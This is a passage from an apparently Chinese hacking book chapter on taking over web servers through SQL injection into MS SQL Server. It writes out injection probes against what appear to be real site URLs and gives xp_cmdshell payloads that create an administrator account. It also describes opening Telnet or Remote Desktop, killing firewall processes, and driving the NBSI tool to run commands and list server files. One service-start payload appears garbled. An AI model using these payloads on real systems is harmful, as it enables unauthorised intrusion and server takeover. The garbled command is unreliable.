网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.7 扩展存储过程直接攻击服务器

除了在第二部分中提到的上传木马后门、控制网站服务器外,还可以直接利用SQL语句来查询服务器信息、执行任意命令、操作注册表等。

2.7.1 存储过程快速攻击数据库

SQL中的“master.dbo.xp_cmdshell”、“xp_servicecontrol”等扩展存储过程是一类用来扩展数据库功能的命令,利用它可以完成对整个系统的控制。如果当前连接网站数据库的账号具有SA权限,并且数据库中存在该扩展存储过程的话,那么就可以用如下方法来入侵网站服务器了。

1.判断当前数据库连接用户权限

在注入点“http://www.anzhuang.org:8000/guild/sites/cia/detail.asp? i=JRJD&id=2578”提交“and user>0”,返回信息如下(图130):

图130 返回信息界面

“……将nvarchar值 ’dbo’ 转换为数据类型为int的列时发生语法错误。……”,其中“dbo”即为当前连接数据库的用户名,该用户名默认为SA权限。如果是其他自定义的用户名,则表明该用户权限为“public”。

2.获得当前连接的数据库名

提交“and db_name()>0”,返回信息为(图131):

            “……将 nvarchar 值 ’guild’ 转换为数据类型为 int 的列时发生语法错
            误。……”

表明当前连接的数据库名为“guild”。

图131 返回信息界面

3.执行任意命令

利用“master.dbo.xp_cmdshell”扩展存储过程,可以执行任意系统命令,如可以在系统中添加新的账户,开启系统的Telnet或3389服务等;或者修改注册表,任意添加删除文件等。

a.添加系统账户

提交语句:

            http://www.xinzun.com.cn/skill/skill_id.asp? id=1 ; exec master..
            xp_cmdshell "net user xiaoyao loveyou /add"

将在系统中添加用户名和密码分别为“xiaoyao”、“loveyou”的账号;

提交“; exec master..xp_cmdshell "net localgroup administrators xiaoyao /add"”

将账号“xiaoyao”的用户提升为管理员。

b.开启Telnet服务

提交“; exec master..xp_servicecontrol "net start /add"”,即可开启远程服务器上的Telnet服务。

此外,在SQL中还有一些扩展存储,可以操作注册表、读取任意文件,甚至可以在服务器的Web虚拟路径中写入ASP木马后门等。

2.7.2 利用NBSI注入控制服务器

上面介绍的利用存储过程控制服务器的方法,对于初学SQL注入的读者来说略显复杂了,因此未做太详细的介绍。下面要重点介绍给大家的是如何利用NBSI来入侵控制服务器。

1.简单获取数据库信息

寻找到一个SQL注入点后,打开NBSI并单击程序窗口工具栏上的“注入分析”按钮,在“注入地址”中输入注入点URL链接,然后单击【检测】按钮,运行完毕后在右边的“SQL Server信息”中显示出当前连接SQL Server数据库的用户名、权限及所连接的数据库名等(图132)。

图132 获取数据库信息

2.“NB Commander命令行执行器”轻松获取系统权限

如果在SQL信息中返回的是DBO用户、SA权限,那么利用NBSI可以很快地获取网站服务器的系统权限。单击工具栏中的“扫描及工具”按钮,在弹出的下拉菜单中单击“NB Commander命令行执行器”命令。然后在“注入地址”中输入注入点链接地址,并选择注入类型;然后勾选“尝试回显结果”复选框及“执行DOS命令”复选框(图133)。

图133 获取系统权限

在“命令”中输入要执行的系统命令,如可输入“netstat -na”,单击【执行】按钮后,即可看到服务器上此时正在运行的程序及打开的端口。可在“命令”框中输入相关的命令,来打开3389或Telnet等服务,或者使用“tasklist”和“taskkill”命令来显示及结束服务器上的防火墙进程等。然后就可以直接用3389登录服务器进行控制了。

当勾选“执行DOS命令”时,会弹出常用的DOS命令,如添加账户、显示目录文件夹等(见图134),可以方便我们直接复制后运行。另外在勾选“SQL语句”后,也可以直接在“命令”框中输入SQL命令查询数据库,或者调用各种扩展存储,完成一些特殊的命令。

3.“HBTreeList”目录列表提升权限

如果我们并没有太高的权限,但是只要有“Public”以上的权限,都可以利用NBSI的该功能查看服务器上的目录和文件列表。

图134 常用的DOS命令

单击工具栏上的“扫描及工具”按钮,在弹出的下拉菜单中单击“HBTreeList目录列表工具”命令。然后输入注入点链接地址,并选择注入类型;勾选右边的“文件”和“文件夹”复选框,然后在“输入路径”中输入要查看的磁盘路径,单击【列目录】按钮,就可以查看到任意路径中的文件夹及文件列表了(图135)。不过在命令执行时速度非常慢,需要耐心等待。

图135 查看文件及文件夹列表

获得磁盘中的目录信息后,可以有助于了解服务器上安装了什么防火墙或杀毒软件,是否可以利用Serv-U、PCanywhere等来提升权限等。具体提升权限的方法会在后面有所提及。